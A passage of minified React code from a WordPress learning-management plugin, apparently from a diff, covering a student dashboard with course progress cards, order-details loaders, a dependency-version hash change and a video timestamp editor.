24",role:"img"},e),React.createElement("path",{fillRule:"evenodd",d:"M2 12c0-.69.56-1.25 1.25-1.25h17.5a1.25 1.25 0 1 1 0 2.5H3.25C2.56 13.25 2 12.69 2 12",clipRule:"evenodd"}),React.createElement("path",{fillRule:"evenodd",d:"M12 2c.69 0 1.25.56 1.25 1.25v17.5a1.25 1.25 0 1 1-2.5 0V3.25c0-.69.56-1.25 1.25-1.25",clipRule:"evenodd"}));const Tl=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{d:"M1.84 14.551a.858.858 0 0 1 1.46.899 3.1 3.1 0 0 0-.443 1.556 3.143 3.143 0 0 0 5.916 1.472l.006-.012c.555-1.004 1.624-2.343 3.231-2.343H18a.858.858 0 0 1 0 1.714h-5.99c-.59 0-1.22.537-1.724 1.446A4.858 4.858 0 0 1 1.143 17v-.013c.012-.843.24-1.696.697-2.437Z"}),React.createElement("path",{d:"M11.376 1.186a4.86 4.86 0 0 1 4.894 2.459.857.857 0 0 1-1.5.831 3.142 3.142 0 1 0-5.414 3.19c.334.514.642 1.14.786 1.806.146.676.131 1.445-.26 2.16l-3.129 5.777a.857.857 0 1 1-1.506-.817l3.13-5.78.001-.002c.14-.255.175-.577.088-.978-.088-.406-.292-.84-.554-1.243l-.009-.014a4.86 4.86 0 0 1 3.473-7.39Z"}),React.createElement("path",{d:"M21.143 17A3.144 3.144 0 0 0 18 13.858c-1.156 0-2.85-.303-3.622-1.717l-3.13-5.73a.858.858 0 0 1 1.505-.821l3.128 5.73c.288.525 1.075.824 2.119.824a4.857 4.857 0 1 1 0 9.714.857.857 0 1 1 0-1.715A3.143 3.143 0 0 0 21.143 17"}));const Fl=e=>{var t,n,l,o,i,s,[c,m]=(0,a.useState)(!1),{course:d,started_at:u}=e.course,p=null==d||null===(t=d.progress_data)||void 0===t?void 0:t.summary;return r().createElement(ce.a,{className:"mto-continue-course",width:{base:"100%",sm:"70%",md:"100%"},mx:"auto",overflowX:"hidden"},r().createElement(b.B,{alignItems:"flex-start",direction:{base:"column",md:"row"},gap:7},r().createElement(de._,{w:{base:"100%",sm:"100%",md:"230px"},src:null==d?void 0:d.featured_image_url,h:{base:"170px",sm:"180px",md:"160px"},rounded:"10px"}),r().createElement(ke.z,{w:"full",py:3,gap:6},r().createElement(y.T,{w:"full",align:"flex-start",gap:5,flex:1},r().createElement(y.T,{gap:"10px",align:"flex-start"},r().createElement(nt.s,{justifyContent:"flex-start",alignItems:"center",flexWrap:"wrap",gap:2},null==d||null===(n=d.categories)||void 0===n?void 0:n.map((e=>r().createElement(An.vw,{colorScheme:"primary",key:e.id,size:"sm",borderRadius:"base",border:"1px",borderColor:"icy-blue-gray",variant:"outline",color:"primary.500",textTransform:"uppercase",py:1,px:"10px",fontSize:"10px",fontWeight:"medium",lineHeight:"120%"},r().createElement(An.d1,null,null==e?void 0:e.name))))),r().createElement(_.E,{fontSize:"md",fontWeight:"semibold",color:"oxford-night"},null==d?void 0:d.name)),u&&r().createElement(_.E,{color:"saint-blue",fontSize:"sm",fontWeight:"medium"},(0,S.__)("Started on ","learning-management-system"),te(u,"m/d/Y"))),r().createElement(y.T,{align:"flex-start",gap:4},d&&r().createElement(nt.s,{justifyContent:"space-between",alignItems:"center",w:"full"},r().createElement(_.E,{fontWeight:"semibold",fontSize:"xl",color:"oxford-night"},null==d||null===(l=d.progress_data)||void 0===l?void 0:l.percentage,"% "," ",r().createElement(_.E,{as:"span",fontWeight:"normal",fontSize:"sm",color:"saint-blue"},(0,S.__)("Completed","learning-management-system"))),p&&r().createElement(dl,{summary:p})),r().createElement(il.k,{size:"sm",rounded:"29px",w:"220px",height:"6px",value:null==d||null===(o=d.progress_data)||void 0===o?void 0:o.percentage,max:100,colorScheme:"primary"}),r().createElement(pe.N,{href:"progress"===(null==d||null===(i=d.progress_data)||void 0===i?void 0:i.status)?null==d?void 0:d.continue_course_url:null==d?void 0:d.start_course_url,style:{width:"fit-content"},ml:"auto",mr:{base:"auto",md:0}},r().createElement(x.$,{title:"draft"===(null==d?void 0:d.status)?(0,S.__)("Course might be drafted.","learning-management-system"):"",isDisabled:"draft"===(null==d?void 0:d.status),colorScheme:"button",boxShadow:"none",size:"md",onClick:e=>{null!=d&&d.is_password_required&&(e.preventDefault(),m(!0))},fontSize:"15px",fontWeight:"semibold",w:"220px"},(0,S.__)("Continue Course","learning-management-system")),c&&r().createElement(ul,{isOpen:c,onClose:()=>m(!1),courseId:null!==(s=null==d?void 0:d.id)&&void 0!==s?s:0,ajaxNonce:Pt.PasswordProtectedNonce,ajaxUrl:Pt.ajaxUrl}))))))};const Il=()=>r().createElement(y.T,{gap:10,align:"flex-start",w:"full"},r().createElement(y.T,{gap:"30px",w:"full",align:"flex-start"},r().createElement(b.B,{spacing:2,w:"full"},r().createElement(wt.E,{height:"32px",width:"150px"}),r().createElement(wt.E,{height:"20px",width:"300px"})),r().createElement(_a.r,{columns:{base:1,md:2,lg:3},spacing:"6",w:"full"},[1,2,3].map((e=>r().createElement(ce.a,{key:e,p:6,borderWidth:"1px",borderColor:"icy-blue-gray",borderRadius:"10px",w:"100%"},r().createElement(ke.z,{spacing:4,align:"center"},r().createElement(wt.E,{width:"48px",height:"48px",borderRadius:"10px",flexShrink:0}),r().createElement(b.B,{spacing:2,flex:1},r().createElement(wt.E,{height:"32px",width:"60px"}),r().createElement(wt.E,{height:"16px",width:"120px"})))))))),r().createElement(y.T,{gap:6,align:"flex-start",w:"full"},r().createElement(ke.z,{justify:"space-between",w:"full"},r().createElement(wt.E,{height:"24px",width:"120px"}),r().createElement(wt.E,{height:"40px",width:"140px",borderRadius:"md"})),r().createElement(_a.r,{columns:{base:1,md:2,lg:3},spacing:"6",w:"full"},[1,2,3].map((e=>r().createElement(ce.a,{key:e,p:6,borderWidth:"1px",borderColor:"icy-blue-gray",borderRadius:"10px",w:"100%"},r().createElement(ke.z,{spacing:4,align:"center"},r().createElement(wt.E,{width:"48px",height:"48px",borderRadius:"10px",flexShrink:0}),r().createElement(b.B,{spacing:2,flex:1},r().createElement(wt.E,{height:"20px",width:"100px"}),r().createElement(wt.E,{height:"16px",width:"130px"})))))))),r().createElement(b.B,{direction:"column",spacing:"6",w:"full"},r().createElement(ke.z,{justify:"space-between",w:"full"},r().createElement(wt.E,{height:"24px",width:"150px"}),r().createElement(wt.E,{height:"40px",width:"100px",borderRadius:"md"})),[1,2,3].map((e=>r().createElement(ce.a,{key:e,borderWidth:"1px",borderColor:"icy-blue-gray",rounded:"10px",w:"100%"},r().createElement(b.B,{direction:{base:"column",md:"row"},spacing:0},r().createElement(ce.a,{pos:"relative",width:{base:"100%",md:"200px"},flexShrink:0},r().createElement(wt.E,{w:"100%",h:"176px",roundedLeft:{base:"10px",md:"10px"},roundedTop:{base:"10px",md:"0"}}),r().createElement(wt.E,{height:"24px",width:"80px",borderRadius:"base",pos:"absolute",top:"4",left:"4"})),r().createElement(b.B,{direction:"column",spacing:"4",p:5,flex:1,w:"full"},r().createElement(ke.z,{spacing:"1",flexWrap:"wrap"},r().createElement(wt.E,{height:"24px",width:"70px",borderRadius:"base"}),r().createElement(wt.E,{height:"24px",width:"60px",borderRadius:"base"})),r().createElement(wt.E,{height:"26px",width:"70%"}),r().createElement(ke.z,{justify:"space-between",w:"full"},r().createElement(ke.z,{gap:2},r().createElement(wt.E,{borderRadius:"full",width:"32px",height:"32px"}),r().createElement(wt.E,{height:"20px",width:"100px"})),r().createElement(ke.z,{gap:1.5},r().createElement(wt.E,{height:"16px",width:"16px"}),r().createElement(wt.E,{height:"20px",width:"30px"}))),r().createElement(b.B,{spacing:2},r().createElement(ke.z,null,r().createElement(wt.E,{height:"30px",width:"50px"}),r().createElement(wt.E,{height:"24px",width:"80px"})),r().createElement(wt.E,{height:"8px",width:"100%",borderRadius:"full"})),r().createElement(wt.E,{height:"40px",width:"150px",borderRadius:"md"}))))))));function Bl(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Dl(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Bl(Object(n),!0).forEach((function(t){(0,u.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Bl(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}document.documentElement.dir;const ql=()=>{var[e,t]=(0,Da.U)(["(min-width:1290px)","(min-width:992px)"]),n=new qe(Fe.myCourses),a=Ba("gamipress-integration"),l=new qe(null==Fe?void 0:Fe.courses),o=(0,ye.d)(),i=(0,c.jE)(),s=(0,fn.n)({mutationFn:e=>l.store(e)}),m=(null==i?void 0:i.getQueryData(["userProfile"]))||{},d=(0,rt.I)({queryKey:["dashboardCourseQuery"],queryFn:()=>n.list({status:"active",per_page:5,from_account_dashboard:!0})});e&&("row",0);var u,p,g,h,E,f,v,_=null==i?void 0:i.getQueryData(["userProfile"]);return d.isSuccess?r().createElement(y.T,{gap:10,align:"flex-start",w:"full",opacity:null!=s&&s.isSuccess?.4:1,pointerEvents:null!=s&&s.isSuccess?"none":"auto"},r().createElement(gt,{title:(0,S.__)("Dashboard","learning-management-system"),description:_?(0,S.sprintf)( // translators: %s is the user's full name or username // translators: %s is the user's full name or username (0,S.__)("Welcome back %s","learning-management-system"),null!=_&&_.first_name&&null!=_&&_.last_name?"".concat(null==_?void 0:_.first_name," ").concat(null==_?void 0:_.last_name):null==_?void 0:_.username):void 0}),r().createElement(y.T,{gap:"30px",w:"full",align:"flex-start"},r().createElement(_a.r,{columns:{base:1,md:2,lg:3},spacing:"6",className:"mto-dashboard-courses-stats",w:"full"},r().createElement(jt,{description:(0,S.__)("Enrolled Courses","learning-management-system"),title:null==d||null===(u=d.data)||void 0===u||null===(u=u.courses_stat)||void 0===u?void 0:u.enrolled_count,icon:r().createElement(Re.I,{as:Al,color:"primary.500",fontSize:"xl",height:"1.5em",width:"1.5em",fill:"currentColor"})}),r().createElement(jt,{description:(0,S.__)("In Progress Courses","learning-management-system"),title:null==d||null===(p=d.data)||void 0===p||null===(p=p.courses_stat)||void 0===p?void 0:p.in_progress_count,icon:r().createElement(Re.I,{as:jl,color:"primary.500",fontSize:"xl",height:"1.5em",width:"1.5em",fill:"currentColor"})}),r().createElement(jt,{description:(0,S.__)("Completed Courses","learning-management-system"),title:null==d||null===(g=d.data)||void 0===g||null===(g=g.courses_stat)||void 0===g?void 0:g.completed_count,icon:r().createElement(Re.I,{as:Pl,color:"primary.500",fontSize:"xl",height:"1.5em",width:"1.5em",fill:"currentColor"})}))),G(null==m?void 0:m.roles)&&null!=m&&null!==(h=m.roles)&&void 0!==h&&h.includes("masteriyo_instructor")&&"yes"===Pt.isInstructorActive?r().createElement(y.T,{gap:6,align:"flex-start",w:"full"},r().createElement(Xn,{title:(0,S.__)("Quick Access","learning-management-system")},r().createElement(x.$,{leftIcon:r().createElement(Ml,{fill:"currentColor",width:"16px",height:"16px"}),colorScheme:"button",size:"md",variant:"outline",py:2,pl:4,pr:4,fontSize:"sm",fontWeight:"medium",isLoading:null==s?void 0:s.isPending,onClick:()=>{return e={name:"Untitled Course"},void s.mutate(Dl(Dl({},e),{},{status:"draft"}),{onSuccess:e=>{var t;window.location.href=null==Pt||null===(t=Pt.urls)||void 0===t||null===(t=t.editCourse)||void 0===t?void 0:t.replace(":courseId",e.id.toString())},onError:e=>{o({title:(null==e?void 0:e.message)||(0,S.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}});var e}},(0,S.__)("Add New Course","learning-management-system"))),r().createElement(_a.r,{columns:{base:1,md:2,lg:3},spacing:"6",className:"mto-dashboard-courses-stats",w:"full"},r().createElement(jt,{title:(0,S.__)("My Courses","learning-management-system"),description:(0,S.__)("View your courses","learning-management-system"),icon:r().createElement(Re.I,{as:Xa,color:"primary.500",fontSize:"xl",height:"1.5em",width:"1.5em",fill:"currentColor"}),link:Pt.urls.myCourses}),r().createElement(jt,{title:(0,S.__)("My Webhooks","learning-management-system"),description:(0,S.__)("Manage your webhooks","learning-management-system"),icon:r().createElement(Re.I,{as:Tl,color:"primary.500",fontSize:"xl",height:"1.5em",width:"1.5em",fill:"currentColor"}),link:null==Pt||null===(E=Pt.urls)||void 0===E?void 0:E.webhooks}))):null,a?r().createElement(b.B,{direction:"column",className:"mto-account-dashboard-wrapper",w:"full"},r().createElement(Dt,{location:It.DASHBOARD_CARD,renderPoint:(e,t)=>r().createElement(jt,{isGamipressActive:!0,description:e.plural_name,title:e.points,icon:e.image_url?r().createElement(de._,{src:e.image_url,width:"100%",height:"100%",borderRadius:"10px"}):null}),renderRank:e=>r().createElement(jt,{isGamipressActive:!0,description:e.singular_name,title:e.rank,icon:e.image_url?r().createElement(de._,{src:e.image_url,width:"100%",height:"100%",borderRadius:"10px"}):null}),renderAchievement:e=>r().createElement(jt,{isGamipressActive:!0,description:e.label,title:null==e?void 0:e.label,icon:e.image_url?r().createElement(de._,{src:e.image_url,width:"100%",height:"100%",borderRadius:"10px"}):null})}),r().createElement(Dt,{location:It.DASHBOARD_NEW_SECTION,renderPoint:(e,t)=>r().createElement(jt,{isGamipressActive:!0,description:e.plural_name,title:e.points,icon:e.image_url?r().createElement(de._,{src:e.image_url,width:"100%",height:"100%",borderRadius:"10px"}):null}),renderRank:e=>r().createElement(jt,{isGamipressActive:!0,description:e.singular_name,title:e.rank,icon:e.image_url?r().createElement(de._,{src:e.image_url,width:"100%",height:"100%",borderRadius:"10px"}):null}),renderAchievement:e=>r().createElement(jt,{isGamipressActive:!0,description:e.label,title:"",icon:e.image_url?r().createElement(de._,{src:e.image_url,width:"100%",height:"100%",borderRadius:"10px"}):null}),wrapPlacementGroup:(e,t)=>r().createElement(b.B,{gap:6},r().createElement(Xn,{title:t.title||""}),r().createElement(b.B,{direction:"column",spacing:"2"},e))})):null,r().createElement(b.B,{direction:"column",spacing:"6",className:"mto-dashboard-courses-progress",w:"full"},r().createElement(Xn,{title:(0,S.__)("Continue Studying","learning-management-system")},r().createElement(O.N_,{to:Cr.courses},r().createElement(x.$,{rightIcon:r().createElement(un.OQo,{size:15,color:"gray.500"}),colorScheme:"button",size:"md",variant:"outline",py:2,pl:4,pr:4,fontSize:"sm",fontWeight:"medium"},(0,S.__)("View All","learning-management-system")))),K(null==d||null===(f=d.data)||void 0===f?void 0:f.data)?r().createElement(Mt,null):null==d||null===(v=d.data)||void 0===v||null===(v=v.data)||void 0===v?void 0:v.map((e=>r().createElement(Fl,{key:e.id,course:e}))))):r().createElement(Il,null)};const Nl=(e,t)=>{var n;switch(p.currency.position){case"left":default:n="".concat(ee(t)).concat(e);break;case"right":n="".concat(e).concat(ee(t));break;case"left_space":n="".concat(ee(t)," ").concat(e);break;case"right_space":n="".concat(e," ").concat(ee(t))}return n};var Wl="rtl"===document.documentElement.dir;const Ll=()=>{var e=(0,tt.Zp)();return r().createElement(b.B,{direction:"column",spacing:"8",width:"full"},r().createElement(gt,{title:(0,S.__)("Order Details","learning-management-system"),beforeTitle:r().createElement(dn.m,{label:(0,S.__)("Back","learning-management-system")},r().createElement(ce.a,{borderRadius:"6px",bgColor:"muted",p:"10px",cursor:"pointer",_hover:{bgColor:"gray.100"},transition:"background-color 0.2s",onClick:()=>e(-1)},r().createElement(un.m6W,{style:{transform:Wl?"rotate(180deg)":"none"}})))}),r().createElement(ce.a,{bg:"white",borderRadius:"8px",border:"1px solid",borderColor:"gray.200",p:"6"},r().createElement(ke.z,{justify:"space-between",align:"start"},r().createElement(y.T,{align:"start",gap:"10px",flex:"1"},r().createElement(wt.E,{height:"24px",width:"200px",borderRadius:"4px"}),r().createElement(wt.E,{height:"16px",width:"150px",borderRadius:"4px"})),r().createElement(wt.E,{height:"32px",width:"100px",borderRadius:"16px"}))),r().createElement(ce.a,{bg:"white",borderRadius:"8px",border:"1px solid",borderColor:"gray.200",p:"6"},r().createElement(wt.E,{height:"20px",width:"180px",borderRadius:"4px",mb:"5"}),r().createElement(y.T,{spacing:"4",align:"stretch"},r().createElement(zt.fI,{gutterWidth:24},r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"80px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"120px",borderRadius:"4px"}))),r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"80px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"120px",borderRadius:"4px"})))),r().createElement(zt.fI,{gutterWidth:24},r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"60px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"180px",borderRadius:"4px"}))),r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"100px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"140px",borderRadius:"4px"})))),r().createElement(zt.fI,{gutterWidth:24},r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"80px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"140px",borderRadius:"4px"}))),r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"110px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"160px",borderRadius:"4px"})))))),r().createElement(ce.a,{bg:"white",borderRadius:"8px",border:"1px solid",borderColor:"gray.200",p:"6"},r().createElement(wt.E,{height:"20px",width:"140px",borderRadius:"4px",mb:"5"}),r().createElement(y.T,{spacing:"4",align:"stretch"},r().createElement(zt.fI,{gutterWidth:24},r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"80px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"200px",borderRadius:"4px"}))),r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"80px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"200px",borderRadius:"4px"})))),r().createElement(zt.fI,{gutterWidth:24},r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"60px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"120px",borderRadius:"4px"}))),r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"80px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"100px",borderRadius:"4px"})))),r().createElement(zt.fI,{gutterWidth:24},r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"60px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"140px",borderRadius:"4px"}))),r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"80px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"140px",borderRadius:"4px"})))))),r().createElement(ce.a,{bg:"white",borderRadius:"8px",border:"1px solid",borderColor:"gray.200",p:"6"},r().createElement(wt.E,{height:"20px",width:"140px",borderRadius:"4px",mb:"5"}),r().createElement(y.T,{spacing:"4",align:"stretch"},r().createElement(zt.fI,{gutterWidth:24},r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"120px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"160px",borderRadius:"4px"}))),r().createElement(zt.fv,{md:6},r().createElement(y.T,{align:"stretch",spacing:"1"},r().createElement(wt.E,{height:"14px",width:"100px",borderRadius:"4px",mb:"1"}),r().createElement(wt.E,{height:"16px",width:"180px",borderRadius:"4px"})))))),r().createElement(ce.a,{bg:"white",borderRadius:"8px",border:"1px solid",borderColor:"gray.200",p:"6"},r().createElement(wt.E,{height:"20px",width:"100px",borderRadius:"4px",mb:"5"}),r().createElement(y.T,{spacing:"3",align:"stretch"},[1,2,3].map((e=>r().createElement(ce.a,{key:e},r().createElement(ke.z,{justify:"space-between",align:"center",py:"2"},r().createElement(wt.E,{height:"16px",flex:"1",maxW:"300px",borderRadius:"4px"}),r().createElement(ke.z,{spacing:"6"},r().createElement(wt.E,{height:"16px",width:"60px",borderRadius:"4px"}),r().createElement(wt.E,{height:"16px",width:"80px",borderRadius:"4px"}))),e<3&&r().createElement(Pn.c,{borderColor:"gray.200"})))))),r().createElement(ce.a,{bg:"white",borderRadius:"8px",border:"1px solid",borderColor:"gray.200",p:"6"},r().createElement(wt.E,{height:"20px",width:"120px",borderRadius:"4px",mb:"4"}),r().createElement(ke.z,{justify:"space-between",align:"center"},r().createElement(ke.z,{spacing:"2"},r().createElement(wt.E,{height:"32px",width:"100px",borderRadius:"16px"}),r().createElement(wt.E,{height:"32px",width:"120px",borderRadius:"16px"})),r().createElement(wt.E,{height:"16px",width:"80px",borderRadius:"4px"}))),r().createElement(ce.a,{bg:"white",borderRadius:"8px",border:"1px solid",borderColor:"gray.200",p:"6"},r().createElement(y.T,{spacing:"4",align:"stretch"},r().createElement(ke.z,{justify:"space-between",align:"center"},r().createElement(wt.E,{height:"18px",width:"80px",borderRadius:"4px"}),r().createElement(wt.E,{height:"16px",width:"100px",borderRadius:"4px"})),r().createElement(Pn.c,{borderColor:"gray.200"}),r().createElement(ke.z,{justify:"space-between",align:"center"},r().createElement(wt.E,{height:"22px",width:"160px",borderRadius:"4px"}),r().createElement(wt.E,{height:"22px",width:"120px",borderRadius:"4px"})))))};var Hl="rtl"===document.documentElement.dir;const Vl=()=>{var e,t,n=new qe(Fe.orders),a=new qe(Fe.countries),l=new qe(Fe.states),{orderId:o}=(0,tt.g)(),i=(0,rt.I)({queryKey:["countries"],queryFn:()=>a.list()}),s=(0,rt.I)({queryKey:["states"],queryFn:()=>l.list()}),c=(0,rt.I)({queryKey:["myOrder".concat(o),o],queryFn:()=>n.get(o)});if(c.isSuccess&&i.isSuccess&&s.isSuccess){var m,d,u,p,g,h,E,f,v,w,x,C,z,k,R,A=c.data,j=null==i?void 0:i.data.filter((e=>{var t;return e.code===(null==A||null===(t=A.billing)||void 0===t?void 0:t.country)})),P=null==s?void 0:s.data.filter((e=>{var t;return e.country===(null==A||null===(t=A.billing)||void 0===t?void 0:t.country)})),M=K(P)?{}:null===(m=P[0])||void 0===m?void 0:m.states.filter((e=>{var t;return e.code===(null==A||null===(t=A.billing)||void 0===t?void 0:t.state)}));return r().createElement(b.B,{direction:"column",spacing:"8",width:"full"},r().createElement(gt,{title:(0,S.sprintf)(/* translators: %s: order ID */ /* translators: %s: order ID */ @@ -1 +1 @@ -<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-editor', 'wp-element', 'wp-format-library', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport'), 'version' => '0d905234a322bdfbd834'); +<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-editor', 'wp-element', 'wp-format-library', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport'), 'version' => '945bdba5b0317ffc9927'); @@ -37,7 +37,7 @@ (0,E._x)("Title %s already exists","Timestamp title validation error","learning-management-system"),null==A?void 0:A.label),isClosable:!0});var n=[...i],a=n.findIndex((e=>(null==e?void 0:e.id)===(null==A?void 0:A.id)));A&&n.splice(a,1,A),r([...n]),y(null)},b=(0,a.useMemo)((()=>{var e=ry([...i]||i,t,n);return!(null!=i&&i.length||null!=e&&e.length)||!(null!=i&&i.length&&(null==e||!e.length))}),[t,n,i]);return(0,a.useEffect)((()=>{var e=(e=>{var t=[...e];if(null==t||!t.length)return 0;var n=t.pop();return(null==n?void 0:n.endTime)||0})(i);u([e,n])}),[n]),l().createElement(Qe.a,{mt:2,py:4},l().createElement(g.E,{fontSize:"sm",fontWeight:"bold",mb:4},(0,E.__)("Slide To Select Timestamps","learning-management-system")),l().createElement(ky.F1,{"aria-label":["min","max"],colorScheme:"pink",defaultValue:[0,10],onChange:e=>{v(e)},max:n,min:t,value:c},l().createElement(ky.wo,{boxSize:2,borderRadius:"3xl",bg:"blue.100"},l().createElement(ky.eD,null)),l().createElement($n.m,{hasArrow:!0,closeOnClick:!1,label:"Timestamp: ".concat(iy(c[0]))},l().createElement(ky.jX,{border:"1px solid #d7d7d7",boxSize:12,index:0,fontWeight:"medium",fontSize:"xs"},oy(c[0]))),l().createElement($n.m,{hasArrow:!0,closeOnClick:!1,label:"Timestamp: ".concat(iy(c[1]))},l().createElement(ky.jX,{border:"1px solid #d7d7d7",boxSize:12,index:1,fontWeight:"medium",fontSize:"xs"},oy(c[1])))),b&&l().createElement(Qe.a,{my:5},l().createElement(g.E,{fontSize:"small",fontWeight:"bold",my:2},(0,E.sprintf)(/* translators: 1: start time, 2: end time */ /* translators: 1: start time, 2: end time */ (0,E._x)("Timestamp ( %1$s - %2$s )","Time range label","learning-management-system"),oy(null==c?void 0:c[0]),oy(null==c?void 0:c[1]))),l().createElement(d.B,{direction:["column","row","row"]},l().createElement(Ma.p,{placeholder:(0,E.__)("Title Name","learning-management-system"),my:2,value:s,onChange:e=>m(e.target.value),type:"text",onKeyDown:e=>{"Enter"===e.key&&f()}}),l().createElement(p.$,{my:2,colorScheme:"primary",variant:"solid",onClick:()=>f()},(0,E.__)("Add","learning-management-system")))),null!=i&&i.length?l().createElement(Qe.a,null,l().createElement(ft.s,{justifyContent:"space-between",alignItems:"center",my:6},l().createElement(g.E,{fontSize:"large",fontWeight:"bold"},(0,E.__)("Time Stamps","learning-management-system")),l().createElement(p.$,{size:"xs",onClick:()=>{r([]),v(c,[],!0)},colorScheme:"red"},(0,E.__)("Delete All","learning-management-system"))),l().createElement(Qe.a,{maxH:"40vh",overflowY:"auto"},null==i?void 0:i.map((e=>l().createElement(ft.s,{borderColor:"gray.300",borderWidth:1,flexWrap:"wrap",key:null==e?void 0:e.label,p:3,borderRadius:"md",my:2},l().createElement(Qe.a,{flex:1},l().createElement(g.E,{bg:"gray.100",fontSize:"small",fontWeight:"bold",w:"fit-content",px:"1"},oy(null==e?void 0:e.startTime)," -"," ",oy(null==e?void 0:e.endTime)),(null==A?void 0:A.id)===(null==e?void 0:e.id)?l().createElement(Ma.p,{mt:2,value:null==A?void 0:A.label,onChange:e=>{y(zy(zy({},A),{},{label:e.target.value}))}}):l().createElement(l().Fragment,null,l().createElement(g.E,{fontSize:"medium",color:"gray.700",mt:1,maxW:["200px","200px","300px","400px"]},null==e?void 0:e.label))),(null==A?void 0:A.id)===(null==e?void 0:e.id)?l().createElement(Bt.e,{mt:7},l().createElement(p.$,{ml:2,colorScheme:"primary",onClick:h},(0,E.__)("Save","learning-management-system")),l().createElement(p.$,{ml:2,colorScheme:"primary",onClick:()=>y(null),variant:"outline"},(0,E.__)("Cancel","learning-management-system"))):l().createElement(ft.s,{alignItems:"center"},l().createElement(p.$,{mx:1,py:1,px:2,variant:"outline",colorScheme:"primary",size:"xs",leftIcon:l().createElement(la.wwX,null),onClick:()=>y(e)},(0,E.__)("Edit","learning-management-system")),l().createElement(p.$,{mx:1,py:1,px:2,variant:"solid",colorScheme:"red",size:"xs",onClick:()=>{return t=null==e?void 0:e.id,n=[...i],a=i.findIndex((e=>(null==e?void 0:e.id)===t)),n.splice(a,1),v(c,n,!0),void r([...n]);var t,n,a}},l().createElement($e.I,{as:ay.GDL})))))))):null)};const Fy=(0,a.memo)(qy);function jy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Vy(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?jy(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):jy(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var Ly=e=>{var t,{videoURL:n,videoSource:r,setVideoMetaData:i,existingVideoUrl:o,timeStampsData:s,showTimeStamps:m=!0}=e,[c,u]=(0,a.useState)([...(null==s||null===(t=s.time_stamps)||void 